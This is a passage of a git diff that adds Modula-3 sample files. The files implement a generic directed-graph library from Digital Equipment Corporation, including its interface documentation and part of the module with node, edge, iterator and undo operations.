+   values into nodes in the graph.  Nodes contain lists of edges to 
+   successors and predecessors.  Because of this edge-list 
+   implementation, this implementation of DiGraph is biased towards 
+   sparse graphs.
+
+   I hope eventually to have this interface support a number of 
+   interesting graph algorithms, and to modify it to use the new 
+   Vesta/Vulcan method of parameterization.  Any contributions of 
+   work on this code is strongly welcomed.
+
+   Index: graph; directed graph; network; transitive closure; relation
+*)
+
+
+IMPORT Wr, RefList;
+
+EXCEPTION
+  NoSuchNode; NoSuchEdge; DupNode; DupEdge; RangeFault; BadSemiGroup;
+
+TYPE
+  (* Used in transitive closure. *)
+  ClosedSemiRing = OBJECT
+    plusIdent, bottom: EdgeVal.T;
+   METHODS
+    init(): ClosedSemiRing;
+    plus(ev1, ev2: EdgeVal.T): EdgeVal.T;
+    times(ev1, ev2: EdgeVal.T): EdgeVal.T;
+    closure(ev: EdgeVal.T): EdgeVal.T;
+  END (* OBJECT *);
+
+  (* These are used in printing. *)
+  (* A PrintProc should take a node or edge and print it on 'wr', and print
+     exactly 'width' characters on 'wr', truncating or padding with blanks as
+     necessary. *)
+  NodePrintProc = PROCEDURE(wr: Wr.T; nv: NodeVal.T; width: CARDINAL);
+  EdgePrintProc = PROCEDURE(wr: Wr.T; exists: BOOLEAN; ev: EdgeVal.T;
+                            width: CARDINAL);
+  (* The 'exists' argument indicates whether an edge exists. *)
+
+TYPE
+  EdgeMapProc = PROCEDURE(n1: NodeVal.T; e: EdgeVal.T; n2: NodeVal.T);
+  NodeMapProc = PROCEDURE(n: NodeVal.T);
+
+
+TYPE
+  EdgePublic = OBJECT
+    from, to: Node;
+    value: EdgeVal.T;
+  END (* OBJECT *);
+  Edge <: EdgePublic;
+
+  NodePublic = OBJECT
+    value: NodeVal.T;
+  END (* OBJECT *);
+  Node <: NodePublic;
+
+  TPublic = OBJECT
+   METHODS
+    init(csr: ClosedSemiRing := NIL;
+         undoable := FALSE): T;
+    (* Creates a new, empty graph (one with no nodes or edges.)
+       "csr" is the closed semi-ring to use for transitive closure
+       operations, and "undoable" indicates that operations should be
+       undoable.
+    *)
+
+    nodeSize(): CARDINAL;
+    (* Returns the number of nodes in 'self'. *)
+
+    edgeSize(): CARDINAL;
+    (* Returns the number of edges in 'self'. *)
+
+    nodeExists(nv: NodeVal.T): BOOLEAN;
+    (* Returns TRUE iff there exists a node 'n' in the 'g' such that
+       NodeVal.Equal(n, nv) = TRUE. *)
+
+    addNode(nv: NodeVal.T) RAISES { DupNode };
+    (* If self.nodeExists(nv), raises NodeExists and does not modify 'self'.
+       Otherwise, adds a node with value 'nv' (and no successors or
+       predecessors) to 'self'.
+    *)
+    
+    deleteNode(nv: NodeVal.T) RAISES { NoSuchNode};
+    (* If self.nodeExists(nv), deletes the node associated with 'nv'
+       and all incoming edges to and outgoing edges from that node from
+       'self'.  Otherwise, raises NoSuchNode and does not modify 'self'.
+    *)
+
+    addEdge(node1: NodeVal.T; edgeVal: EdgeVal.T; node2: NodeVal.T;
+            addNodes := FALSE)
+        RAISES { NoSuchNode, DupEdge };
+    (* If 'addNodes' is FALSE, and either of self.nodeExists(node1) or
+       self.nodeExists(node2) is FALSE, then raises NoSuchNode.  If 'addNodes'
+       is TRUE, adds 'node1' and/or 'node2' to 'self' if necessary to
+       ensure that self.nodeExists(node1) and self.nodeExists(node2).  Next, if
+       self.edgeExists(node1, node2), raises EdgeExists ('self' is not
+       modified in this case, since if a node was added in the first
+       step then there could not have been an edge between the input
+       nodes.).  Otherwise, creates such an edge in 'self' and gives
+       it the value 'edgeVal.'
+    *)
+
+    edgeExists(node1, node2: NodeVal.T): BOOLEAN;
+    (* If self.nodeExists(node1) and self.nodeExists(node2) and an edge is
+       presently defined between the nodes associated with those values in
+       'self', returns TRUE; otherwise, returns FALSE.
+    *)
+
+    getEdge(node1, node2: NodeVal.T; VAR (*OUT*) ev: EdgeVal.T): BOOLEAN;
+    (* If self.nodeExists(node1) and self.nodeExists(node2) and an edge is
+       presently defined between the nodes associated with those values in
+       'self', returns TRUE and sets 'ev' to the value of that edge; otherwise,
+       returns FALSE.
+    *)
+
+    edgeValue(node1, node2: NodeVal.T): EdgeVal.T
+        RAISES { NoSuchNode, NoSuchEdge };
+    (* If NOT self.nodeExists(node1) or self.nodeExists(node2), raises
+       NoSuchNode and does not modify 'self'.  If the nodes exist but
+       NOT self.edgeExists(node1, node2), raises NoSuchEdge and does not
+       modify 'self'.  Otherwise, if the nodes and an edge exist, returns the
+       value associated with that edge.
+    *)
+
+
+    deleteEdge(node1, node2: NodeVal.T) RAISES { NoSuchNode, NoSuchEdge };
+    (* If NOT self.nodeExists(node1) or NOT self.nodeExists(node2), raises
+       NoSuchNode and does not modify 'self'.  If the nodes exist but
+       NOT self.edgeExists(node1, node2), raises NoSuchEdge and does not
+       modify 'self'.  Finally, if the nodes and an edge exist, deletes the
+       edge between the nodes.
+    *)
+
+
+    setEdge(node1: NodeVal.T; edgeVal: EdgeVal.T; node2: NodeVal.T)
+        RAISES { NoSuchNode };
+    (* If NOT self.nodeExists(node1) or NOT self.nodeExists(node2), raises
+       NoSuchNode and does not modify 'self'.  If the nodes exist but
+       NOT self.edgeExists(node1, node2), creates a new edge between 'node1'
+       and 'node2' with value 'edgeVal.'  If an edge already exists between the
+       nodes, sets its value to 'edgeVal.'
+    *)
+
+    changeEdge(node1: NodeVal.T; edgeVal: EdgeVal.T; node2: NodeVal.T)
+        RAISES { NoSuchNode, NoSuchEdge };
+    (* If NOT self.nodeExists(node1) or NOT self.nodeExists(node2), raises
+       NoSuchNode and does not modify 'self'.  If the nodes exist but
+       NOT self.edgeExists(node1, node2), raises NoSuchEdge and does not
+       modify 'self'.  Finally, if the nodes and an edge exist,
+       changes the value of the edge to 'edgeVal.'
+    *)
+
+    nSucc(nodeVal: NodeVal.T): CARDINAL RAISES { NoSuchNode };
+    (* If self.nodeExists(nodeVal), returns the number of successors
+       of that node; otherwise, signals NoSuchNode.
+    *)
+
+    getSuccN(nodeVal: NodeVal.T; n: CARDINAL): NodeVal.T
+        RAISES { NoSuchNode, RangeFault };
+    (* If self.nodeExists(nodeVal) and that node has 'n'-1 or more successors,
+       returns the NodeVal associated with the 'n'-th (0-based) successor.
+       If NOT self.nodeExists(nodeVal), raises NoSuchNode; if n < 0 or n >= the
+       number of successors of the node associated with 'nodeVal', raises
+       RangeFault.
+    *)
+
+    getSuccIter(nodeVal: NodeVal.T): NodeIter RAISES { NoSuchNode };
+    (* If self.nodeExists(nodeVal), returns a NodeIter that will yield all the
+       successors of that node (assuming that the graph is not modified during
+       the iteration.)  If NOT self.nodeExists(nodeVal), raises NoSuchNode.
+    *)
+
+    getSuccList(nodeVal: NodeVal.T): RefList.T (* OF Edge *)
+        RAISES { NoSuchNode };
+    (* Returns the list of edges emanating from "nodeVal". *)
+
+    nPred(nodeVal: NodeVal.T): CARDINAL RAISES { NoSuchNode };
+    (* If self.nodeExists(nodeVal), returns the number of successors
+       of that node; otherwise, signals NoSuchNode.
+    *)
+
+    getPredN(nodeVal: NodeVal.T; n: CARDINAL): NodeVal.T
+        RAISES { NoSuchNode, RangeFault };
+    (* If self.nodeExists(nodeVal) and that node has 'n'-1 or more
+       predecessors, returns the NodeVal associated with the 'n'-th
+       (0-based) predecessor.  If NOT self.nodeExists(nodeVal), raises
+       NoSuchNode; if n < 0 or n >= the number of predecessors of the
+       node associated with 'nodeVal', raises RangeFault.
+    *)
+
+
+    getPredIter(nodeVal: NodeVal.T): NodeIter RAISES { NoSuchNode };
+    (* If self.nodeExists(nodeVal), returns a NodeIter that will yield all the
+       predecessors of that node (assuming that the graph is not
+       modified during the iteration.)  If NOT
+       self.nodeExists(nodeVal), raises NoSuchNode.
+    *)
+
+    getPredList(nodeVal: NodeVal.T): RefList.T (* OF Edge *)
+        RAISES { NoSuchNode };
+    (* Returns the list of edges terminating at "nodeVal". *)
+
+    mapOverNodes(nmp: NodeMapProc) RAISES ANY;
+    (* Applies 'nmp' to every Node in 'self.' *)
+
+    mapOverEdges(emp: EdgeMapProc) RAISES ANY;
+    (* Applies 'emp' to every edge in 'self.' *)
+
+    transitiveClose(edgeChange: EdgeMapProc := NIL): BOOLEAN;
+
+    (* Modifies 'self' so that the final value of 'self' is the
+       transitive closure of the initial value.  If "csr" is
+       non-"NIL", then it must specify a valid "closed semi-ring" on
+       the edge type.  See Section 5.5, p. 198, "The Design and
+       Analysis of Computer Algorithms", by Aho, Hopcroft, and Ullman,
+       Addison-Wesley, 1974 for a complete explanation.  If "csr" is
+       "NIL", then it is a checked runtime if "EdgeVal" is any type
+       other than "NULL"; if "EdgeVal" is "NULL", then
+       "transitiveClose" closes the graph by inserting "NIL"-valued
+       edges as necessary.
+
+       Actually, one addition has been made to the algorithm in AHU: a
+       closed semi-ring may specify a distinguished element "etBottom"
+       of the "EdgeVal" type that is 'contagious' in the plus and
+       times operations; if transitive closure gives any edge the
+       value "etBottom", then "transitiveClose" stops and returns
+       "FALSE".  OTherwise, completes the closure and returns "TRUE".
+       Typically "etBottom" is returned by the closure operation.
+
+       To give a concrete example, assume that the edge values are
+       non-negative real numbers, and we want to compute the shortest
+       paths between nodes.  Here we use MIN as the 'Plus' operation
+       of the semi-ring, addition as the 'Times' operation, and
+       +infinity as the identity of the Plus operation.  More specifically:
+
+       'etPlusIdent': +infinity
+
+       'etPlus': Returns the minimum of 'e1' and 'e2', unless one of 'e1'
+       or 'e2' is 'etPlusIdent', in which case returns the other.
+
+       'etTimes': confusingly, here, addition.  Returns the sum of
+       'e1' and 'e2', unless one is 'etPlusIdent' in which case it
+       returns that.
+
+       'etClosure': In general, should be
+         etPlus(etTimesIdent, e, etTimes(e, e), etTimes(e, etTimes(e, e)), ...)
+       where 'etTimesIdent' is the identity element for the times
+       operator.  In our example, Times is addition, so the identity
+       is 0, so the closure operation is
+         MIN(0, e, e+e, e+e+e, ...)
+       or 0.
+
+       If we did the same problem over all real numbers, not just
+       non-negative numbers, we could use 'etBottom' to detect
+       negative-weight cycles.  'etBottom' is would represent -infinity,
+       and we could make 'etClosure(e)' return 'etBottom' when 'e' is
+       negative.
+    *)
+
+    addEdgeAndClose(n1: NodeVal.T; ev: EdgeVal.T; n2: NodeVal.T;
+                    addNodes := FALSE;
+                    edgeChange: EdgeMapProc := NIL): BOOLEAN;
+    (* "Conceptually" adds an edge of value 'ev' between 'n1' and 'n2', and
+       transitively closes the graph according to the closed semi-ring 'csr'.
+       That is, uses the "Plus" operation of csr to compute the new value of
+       the edge from the old one, if any, and added edge value, and propogates
+       any changes made through the graph.
+    *)
+
+    topSort(VAR (*OUT*) nodes: REF ARRAY OF NodeVal.T): BOOLEAN;
+    (* If the graph is acyclic, returns "TRUE" and sets "nodes" to be
+       an array containing all the nodes in a topological order; that
+       is, if there is an edge from node "a" to node "b" in the graph,
+       then "a" precedes "b" in the array.  If the graph contains a
+       cycle, returns "FALSE" and sets "nodes" to be an array
+       containing a cycle. *)
+
+    printAsMatrix(wr: Wr.T;
+                  np: NodePrintProc; ep: EdgePrintProc;
+                  between, colWidth: CARDINAL;
+                  absentEV: EdgeVal.T);
+    (* Prints "self" in adjacency matrix form.  That is, prints a
+       matrix whose rows and columns are labelled with node values and
+       whose cells are labelled with edge values.  printAsMatrix
+       writes its output to "wr", and calls "np" and "ep" to do the
+       printing.  "np" is called with "wr", a "NodeVal", and "colwidth"
+       as arguments.  "ep" is called with "wr", a BOOLEAN that is TRUE
+       IFF there is an edge between the nodes corresponding by the
+       cell in the matrix, the EdgeVal for that cell if it exists
+       (else "absentEV"), and "colWidth".  The order of the nodes in
+       the rows and columns is determined by the NodeVal.Compare
+       passed to New.
+    *)
+
+    push();
+    (* Saves a state of the graph.  Requires the graph to be undoable. *)
+    pop();
+    (* Requires the graph to be undoable and for there to be a
+       previously saved state; restores that state. *)
+
+  END (* OBJECT *);
+  T <: TPublic;
+
+  (* Node Iterators. *)    
+  NodeIter = OBJECT
+   METHODS
+    next(VAR nv: NodeVal.T): BOOLEAN;
+    (* If there are Nodes in 'self' that have not yet been yielded, returns
+       TRUE and sets 'next' to the next node to be yielded.  Otherwise, the
+       iteration is complete and FALSE is returned.
+    *)
+  END (* OBJECT *);
+
+END DiGraph.
+
+
diff --git a/samples/Modula-3/DiGraph.mg b/samples/Modula-3/DiGraph.mg
new file mode 100644
index 0000000000..fe6b419055
--- /dev/null
+++ b/samples/Modula-3/DiGraph.mg
@@ -0,0 +1,1052 @@
+(* Copyright (C) 1992, Digital Equipment Corporation                         *)
+(* All rights reserved.                                                      *)
+(* See the file COPYRIGHT for a full description.                            *)
+(*                                                                           *)
+(* Last modified on Thu Sep  5 12:16:01 PDT 1996 by detlefs                  *)
+
+GENERIC MODULE DiGraph(NodeVal, EdgeVal);
+(* The DiGraph type is parameterized over the types of the nodes and the
+   edges. *) 
+
+IMPORT RefList, Wr, Word, RefRefTbl, RefListSort, RefSeq;
+
+IMPORT Thread;
+<*FATAL Wr.Failure, Thread.Alerted*>
+
+TYPE
+  NodeValRef = REF NodeVal.T;
+
+REVEAL
+  Node = NodePublic BRANDED OBJECT
+    succ, pred: RefList.T (* Of Edge *);
+    misc: INTEGER;
+  END;
+TYPE
+  NodeArr = REF ARRAY OF Node;
+REVEAL
+  Edge = EdgePublic BRANDED OBJECT
+    nextValue : EdgeVal.T (* used in transitive closure *);
+  END;
+
+  T = TPublic BRANDED OBJECT
+    nodeTbl: RefRefTbl.T; (* map from REF NodeVal's to nodes. *)
+    edges: CARDINAL := 0;
+    csr: ClosedSemiRing;
+    undoable: BOOLEAN;
+    undoSP: CARDINAL;
+    undoStack: REF ARRAY OF UndoRec;
+
+   METHODS
+    nodeValToNode(nodeVal: NodeVal.T; addNodes: BOOLEAN): Node
+        RAISES { NoSuchNode } := NodeValToNode;
+    makeNodeArray(): NodeArr := MakeNodeArray;
+
+   OVERRIDES
+    init := TInit;
+    nodeSize := NodeSize;
+    edgeSize := EdgeSize;
+    nodeExists := NodeExists;
+    addNode := AddNode;
+    deleteNode := DeleteNode;
+    edgeExists := EdgeExists;
+    getEdge := GetEdge;
+    edgeValue := EdgeValue;
+    addEdge := AddEdge;
+    deleteEdge := DeleteEdge;
+    setEdge := SetEdge;
+    changeEdge := ChangeEdge;
+    nSucc := NSucc;
+    getSuccN := GetSuccN;
+    getSuccIter := GetSuccIter;
+    getSuccList := GetSuccList;
+    nPred := NPred;
+    getPredN := GetPredN;
+    getPredIter := GetPredIter;
+    getPredList := GetPredList;
+    mapOverEdges := MapOverEdges;
+    mapOverNodes := MapOverNodes;
+    transitiveClose := TransitiveClose;
+    addEdgeAndClose := AddEdgeAndClose;
+    topSort := TopSort;
+    printAsMatrix := PrintAsMatrix;
+    push := Push;
+    pop := Pop;
+  END;
+
+
+TYPE
+  NodeIterImpl = NodeIter BRANDED OBJECT
+    list: RefList.T;        (* Uniterated remainder of edge list. *)
+    toNotFrom: BOOLEAN;  (* TRUE IF this is a 'succ' iter, FALSE if 'pred' *)
+   OVERRIDES
+    next := NodeIterNext;
+  END (* OBJECT *);
+
+  UndoType = { Mark, AddNode, DeleteNode, AddEdge, DeleteEdge, EdgeVal };
+  UndoRec = RECORD
+    type: UndoType;
+    n: Node;
+    e: Edge;
+    ev: EdgeVal.T;
+  END (* RECORD *);
+
+
+PROCEDURE TInit(self: T; csr: ClosedSemiRing; undoable: BOOLEAN): T =
+  BEGIN
+    self.nodeTbl := NEW(RefRefTbl.Default,
+                        keyHash := NodeValRefHash,
+                        keyEqual := NodeValRefEqual).init();
+    self.edges := 0;
+    self.csr := csr;
+    self.undoable := undoable;
+    IF undoable THEN
+      self.undoSP := 0;
+      self.undoStack := NEW(REF ARRAY OF UndoRec, 100)
+    END (* IF *);
+    RETURN self;
+  END TInit;
+
+PROCEDURE NodeValRefHash(<*UNUSED*> t: RefRefTbl.T;
+                         READONLY key: REFANY): Word.T =
+  BEGIN
+    RETURN NodeVal.Hash(NARROW(key, NodeValRef)^);
+  END NodeValRefHash;
+    
+PROCEDURE NodeValRefEqual(<*UNUSED*> t: RefRefTbl.T;
+                          READONLY key1, key2: REFANY): BOOLEAN =
+  BEGIN
+    RETURN NodeVal.Equal(NARROW(key1, NodeValRef)^,
+                         NARROW(key2, NodeValRef)^);
+  END NodeValRefEqual;
+    
+               
+(* Should be INLINE *)
+PROCEDURE NodeSize(self: T): CARDINAL =
+  BEGIN
+    RETURN self.nodeTbl.size()
+  END NodeSize;
+
+
+(* Should be INLINE *)
+PROCEDURE EdgeSize(self: T): CARDINAL =
+  BEGIN
+    RETURN self.edges;
+  END EdgeSize;
+
+
+PROCEDURE NodeExists(self: T; nodeVal: NodeVal.T): BOOLEAN =
+  VAR dummyVal: REFANY;
+  BEGIN
+    WITH nvr = NEW(NodeValRef) DO
+      nvr^ := nodeVal;
+      RETURN self.nodeTbl.get(nvr, dummyVal);
+    END (* WITH *);
+  END NodeExists;
+
+
+PROCEDURE AddNode(self: T; nodeVal: NodeVal.T) RAISES { DupNode } =
+  VAR n: Node;
+      dummy: BOOLEAN;
+  BEGIN
+    IF self.nodeExists(nodeVal) THEN RAISE DupNode END;
+    n := NEW(Node, value := nodeVal, succ := NIL, pred := NIL);
+    WITH nvr = NEW(NodeValRef) DO
+      nvr^ := nodeVal;
+      dummy := self.nodeTbl.put(nvr, n);
+      <*ASSERT NOT dummy*>
+    END (* WITH *);
+    IF self.undoable THEN PushUndo(self, UndoType.AddNode, n) END (* IF *)
+  END AddNode;  
+
+
+PROCEDURE DeleteNode(self: T; nodeVal: NodeVal.T) RAISES { NoSuchNode } =
+  VAR node: Node;
+      edge: Edge;
+      preds, succs: RefList.T (* Of Edge *);
+      dummy: BOOLEAN;
+      resultRA: REFANY;
+  BEGIN
+    (* This raises an exception if the node doesn't exist. *)
+    node := self.nodeValToNode(nodeVal, FALSE);
+
+    VAR nvr := NEW(NodeValRef); BEGIN
+      nvr^ := nodeVal;
+      dummy := self.nodeTbl.delete(nvr, resultRA);
+      (* If NodeValToNode said it was there, it ought to be there. *)
+      <*ASSERT dummy*>
+    END (* WITH *);
+    IF self.undoable THEN
+      PushUndo(self, UndoType.DeleteNode, node)
+    END (* IF *);
+
+    (* Delete node from the 'succs' list of each of its predecessors. *)
+    preds := node.pred;
+    WHILE preds # NIL DO
+      edge := preds.head;
+      dummy := DeleteFromEdgeList(edge.from.succ, FALSE, node);
+      <*ASSERT dummy*>
+      IF self.undoable THEN
+        PushUndo(self, UndoType.DeleteEdge, NIL, edge)
+      END (* IF *);
+      DEC(self.edges);
+      preds := preds.tail
+    END;
+    (* ...and also from the 'preds' list of each of its successors. *)
+    succs := node.succ;
+    WHILE succs # NIL DO
+      edge := succs.head;
+      dummy := DeleteFromEdgeList(edge.to.pred, TRUE, node);
+      <*ASSERT dummy*>
+      IF self.undoable THEN
+        PushUndo(self, UndoType.DeleteEdge, NIL, edge)
+      END (* IF *);
+      DEC(self.edges);
+      succs := succs.tail
+    END;
+
+  END DeleteNode;
+
+
+(* INTERNAL *)
+
+(* Returns a NodeArr (Array.T OF Node) of all the nodes.  If 'cp' is
+   non-NIL, uses it to sort the array. *)
+
+PROCEDURE MakeNodeArray(self: T): NodeArr =
+  VAR newArr := NEW(NodeArr, self.nodeTbl.size());
+      iter := self.nodeTbl.iterate();
+      nodeVal, node: REFANY;
+      rl: RefList.T := NIL;
+  BEGIN
+    WHILE iter.next(nodeVal, node) DO
+      rl := RefList.Cons(node, rl)
+    END (* WHILE *);
+    rl := RefListSort.SortD(rl, NodeCompare);
+    VAR i := 0; BEGIN
+      WHILE rl # NIL DO
+        newArr[i] := rl.head; INC(i); rl := rl.tail
+      END (* WHILE *)
+    END (* BEGIN *);
+    RETURN newArr
+  END MakeNodeArray;
+
+PROCEDURE NodeCompare(node1Ref, node2Ref: REFANY): [-1..1] =
+  VAR
+    node1, node2: Node;
+  BEGIN
+    node1 := NARROW(node1Ref, Node);
+    node2 := NARROW(node2Ref, Node);
+    RETURN NodeVal.Compare(node1.value, node2.value);
+  END NodeCompare;
+
+
+(* EXTERNAL *)
+
+PROCEDURE AddEdge(self: T;
+                  node1: NodeVal.T; edgeVal: EdgeVal.T; node2: NodeVal.T;
+                  addNodes: BOOLEAN := FALSE)
+    RAISES { NoSuchNode, DupEdge } =
+  VAR
+    newEdge: Edge;
+    fromNode, toNode: Node;
+    edgeDummy: Edge;
+  BEGIN
+    (* These raise NoSuchNode when necessary. *)
+    fromNode := self.nodeValToNode(node1, addNodes);
+    toNode := self.nodeValToNode(node2, addNodes);
+
+    (* Check to see if an edge exists... *)
+    IF FindEdge(fromNode, toNode, edgeDummy) THEN RAISE DupEdge END;
+    newEdge := NEW(Edge, value := edgeVal, from := fromNode, to := toNode);
+    fromNode.succ := RefList.Cons(newEdge, fromNode.succ);
+    toNode.pred := RefList.Cons(newEdge, toNode.pred);
+    INC(self.edges);
+    IF self.undoable THEN
+      PushUndo(self, UndoType.AddEdge, NIL, newEdge)
+    END (* IF *)
+  END AddEdge;
+
+
+(* INTERNAL *)
+(* If addNodes is FALSE, and either of self.nodeExists(node1) or
+   self.nodeExists(node2) is FALSE, then raises "NoSuchNode."  Otherwise, adds
+   nodes corresponding to the values 'node1' and 'node2' to 'g' if no
+   such nodes already exist, and returns those nodes in 'fromNode' and
+   'toNode', respectively.
+*)
+PROCEDURE NodeValToNode(self: T; nodeVal: NodeVal.T;
+                        addNodes: BOOLEAN): Node
+    RAISES { NoSuchNode } =
+  VAR nodeRA: REFANY;
+  BEGIN
+    WITH nvr = NEW(NodeValRef) DO
+      nvr^ := nodeVal;
+      IF NOT self.nodeTbl.get(nvr, nodeRA) THEN
+        IF addNodes THEN
+          self.addNode(nodeVal); <*NOWARN*>
+          VAR dummy := self.nodeTbl.get(nvr, nodeRA); BEGIN
+            <*ASSERT dummy*>
+            RETURN nodeRA
+          END (* BEGIN *)
+        ELSE
+          RAISE NoSuchNode;
+        END (* IF *);
+      ELSE
+        RETURN nodeRA
+      END (* IF *);
+    END (* WITH *);
+  END NodeValToNode;
+
+
+(* EXTERNAL *)
+
+PROCEDURE EdgeExists(self: T; node1, node2: NodeVal.T): BOOLEAN =
+  VAR
+    fromNode, toNode: Node;
+    edgeDummy: Edge;
+  BEGIN
+    TRY
+      fromNode := self.nodeValToNode(node1, FALSE);
+      toNode := self.nodeValToNode(node2, FALSE);
+    EXCEPT
+    | NoSuchNode => RETURN FALSE;
+    END;
+    RETURN FindEdge(fromNode, toNode, edgeDummy);
+  END EdgeExists;
+
+
+PROCEDURE GetEdge(self: T; node1, node2: NodeVal.T;
+                  VAR ev: EdgeVal.T): BOOLEAN =
+  VAR fromNode, toNode: Node;
+      edge: Edge;
+  BEGIN
+    TRY
+      fromNode := self.nodeValToNode(node1, FALSE);
+      toNode := self.nodeValToNode(node2, FALSE);
+    EXCEPT
+    | NoSuchNode => RETURN FALSE;
+    END;
+    IF NOT FindEdge(fromNode, toNode, edge) THEN
+      RETURN FALSE;
+    ELSE
+      ev := edge.value;
+      RETURN TRUE;
+    END (* IF *);
+  END GetEdge;
+
+
+(* INTERNAL *)
+
+(* Requires that 'fromNode' and 'toNode' are nodes in 'g'.  If no edge
+   exists between 'fromNode' and 'toNode', returns FALSE; if such an edge
+   does exist, return TRUE and the value of that edge in 'edgeVal'.
+*)
+PROCEDURE FindEdge(fromNode, toNode: Node;
+                   VAR (*OUT*) edge: Edge): BOOLEAN =
+  VAR
+    succs: RefList.T (* OF Edge *);
+  BEGIN
+    succs := fromNode.succ;
+    WHILE succs # NIL DO
+      edge := succs.head;
+      IF edge.to = toNode THEN RETURN TRUE; END;
+      succs := succs.tail
+    END;
+    RETURN FALSE;
+  END FindEdge;
+
+
+(* EXTERNAL *)
+
+PROCEDURE EdgeValue(self: T; node1, node2: NodeVal.T): EdgeVal.T
+    RAISES { NoSuchNode, NoSuchEdge } =
+  VAR
+    fromNode, toNode: Node;
+    edge: Edge;
+  BEGIN
+    (* These raise NoSuchNode. *)
+    fromNode := self.nodeValToNode(node1, FALSE);
+    toNode := self.nodeValToNode(node2, FALSE);
+    IF NOT FindEdge(fromNode, toNode, edge) THEN
+      RAISE NoSuchEdge;
+    ELSE
+      RETURN edge.value;
+    END;
+  END EdgeValue;
+
+
+PROCEDURE DeleteEdge(self: T; node1, node2: NodeVal.T)
+    RAISES { NoSuchNode, NoSuchEdge } =
+  VAR
+    fromNode, toNode: Node;
+    foundFrom, foundTo: BOOLEAN;
+  BEGIN
+    (* These raise NoSuchNode. *)
+    fromNode := self.nodeValToNode(node1, FALSE);
+    toNode := self.nodeValToNode(node2, FALSE);
+
+    IF self.undoable THEN
+      VAR edge: Edge; BEGIN
+        IF FindEdge(fromNode, toNode, edge) THEN
+          PushUndo(self, UndoType.DeleteEdge, NIL, edge)
+        ELSE
+          RAISE NoSuchEdge
+        END (* IF *)
+      END (* BEGIN *)
+    END (* IF *);
+
+    foundFrom := DeleteFromEdgeList(fromNode.succ, FALSE, toNode);
+    foundTo := DeleteFromEdgeList(toNode.pred, TRUE, fromNode);
+    IF foundFrom THEN
+      <*ASSERT foundTo*>
+      DEC(self.edges)
+    ELSE
+      <*ASSERT NOT foundTo*>
+      RAISE NoSuchEdge;
+    END;
+  END DeleteEdge;
+
+
+(* INTERNAL *)
+
+(* Attempts to deletes an edge whose "target" is 'targetNode' from
+   'realEdges'.  If 'targetIsFromNode' is TRUE, "target" is interpreted
+   to mean the "from" field of an edge, else the "to" field.  Returns
+   TRUE iff found and deleted a matching edge. *)
+
+PROCEDURE DeleteFromEdgeList(VAR realEdges: RefList.T (* Of Edge *);
+                             targetIsFromNode: BOOLEAN;
+                             targetNode: Node): BOOLEAN =
+  VAR edges, prevEdges: RefList.T (* Of Edge *);
+      edge: Edge;
+  BEGIN
+    prevEdges := NIL;
+    IF realEdges = NIL THEN RETURN FALSE; END;
+    edges := realEdges;
+    WHILE edges # NIL DO
+      edge := edges.head;
+      IF targetIsFromNode AND (edge.from = targetNode) THEN
+        IF prevEdges = NIL THEN realEdges := edges.tail
+        ELSE prevEdges.tail := edges.tail
+        END;
+        RETURN TRUE;
+      ELSIF (NOT targetIsFromNode) AND (edge.to = targetNode) THEN
+        IF prevEdges = NIL THEN realEdges := edges.tail
+        ELSE prevEdges.tail := edges.tail
+        END;
+        RETURN TRUE;
+      END;
+      prevEdges := edges; edges := edges.tail;
+    END;
+    RETURN FALSE;
+  END DeleteFromEdgeList;
+
+
+(* EXTERNAL *)
+
+PROCEDURE ChangeEdge(self: T; node1: NodeVal.T;
+                     edgeVal: EdgeVal.T; node2: NodeVal.T)
+            RAISES { NoSuchNode, NoSuchEdge } =
+  VAR
+    fromNode, toNode: Node;
+    edge: Edge;
+  BEGIN
+    (* These raise NoSuchNode. *)
+    fromNode := self.nodeValToNode(node1, FALSE);
+    toNode := self.nodeValToNode(node2, FALSE);
+    IF NOT FindEdge(fromNode, toNode, edge) THEN
+      RAISE NoSuchEdge;
+    ELSE
+      IF self.undoable THEN PushEdgeVal(self, edge, edge.value) END (* IF *);
+      edge.value := edgeVal;
+    END;
+  END ChangeEdge;
+
+
+PROCEDURE SetEdge(self: T; node1: NodeVal.T;
+                  edgeVal: EdgeVal.T; node2: NodeVal.T)
+            RAISES { NoSuchNode } =
+  VAR
+    fromNode, toNode: Node;
+    edge: Edge;
+  BEGIN
+    (* These raise NoSuchNode. *)
+    fromNode := self.nodeValToNode(node1, FALSE);
+    toNode := self.nodeValToNode(node2, FALSE);
+    IF NOT FindEdge(fromNode, toNode, edge) THEN
+      edge := NEW(Edge, value := edgeVal, from := fromNode, to := toNode);
+      fromNode.succ := RefList.Cons(edge, fromNode.succ);
+      toNode.pred := RefList.Cons(edge, toNode.pred);
+      IF self.undoable THEN
+        PushUndo(self, UndoType.AddEdge, NIL, edge)
+      END (* IF *);
+      INC(self.edges);
+    ELSE
+      IF self.undoable THEN PushEdgeVal(self, edge, edge.value) END (* IF *);
+      edge.value := edgeVal;
+    END;
+  END SetEdge;
+
+
+PROCEDURE NSucc(self: T; nodeVal: NodeVal.T): CARDINAL
+    RAISES { NoSuchNode } =
+  BEGIN
+    RETURN RefList.Length(self.nodeValToNode(nodeVal, FALSE).succ);    
+  END NSucc;
+  
+
+PROCEDURE GetSuccN(self: T; nodeVal: NodeVal.T; n: CARDINAL): NodeVal.T
+    RAISES { NoSuchNode, RangeFault } =
+  VAR
+    node: Node;
+  BEGIN
+    node := self.nodeValToNode(nodeVal, FALSE);
+    IF (n < 0) OR (n >= RefList.Length(node.succ)) THEN
+      RAISE RangeFault;
+    ELSE
+      RETURN NARROW(RefList.Nth(node.succ, n), Edge).to.value;
+    END;
+  END GetSuccN;
+
+PROCEDURE GetSuccIter(self: T; nodeVal: NodeVal.T): NodeIter
+    RAISES { NoSuchNode } =
+  VAR
+    node: Node;
+    ni: NodeIter;
+  BEGIN
+    node := self.nodeValToNode(nodeVal, FALSE);
+    ni := NEW(NodeIterImpl, toNotFrom := TRUE, list := node.succ);
+    RETURN ni;
+  END GetSuccIter;
+
+PROCEDURE GetSuccList(self: T; nodeVal: NodeVal.T): RefList.T
+    RAISES { NoSuchNode } =
+  VAR node: Node; BEGIN
+    node := self.nodeValToNode(nodeVal, FALSE);
+    RETURN node.succ
+  END GetSuccList;
+
+PROCEDURE NPred(self: T; nodeVal: NodeVal.T): CARDINAL
+    RAISES { NoSuchNode } =
+  BEGIN
+    RETURN RefList.Length(self.nodeValToNode(nodeVal, FALSE).pred);    
+  END NPred;
+
+PROCEDURE GetPredN(self: T; nodeVal: NodeVal.T; n: CARDINAL): NodeVal.T
+    RAISES { NoSuchNode, RangeFault } =
+  VAR
+    node: Node;
+  BEGIN
+    node := self.nodeValToNode(nodeVal, FALSE);
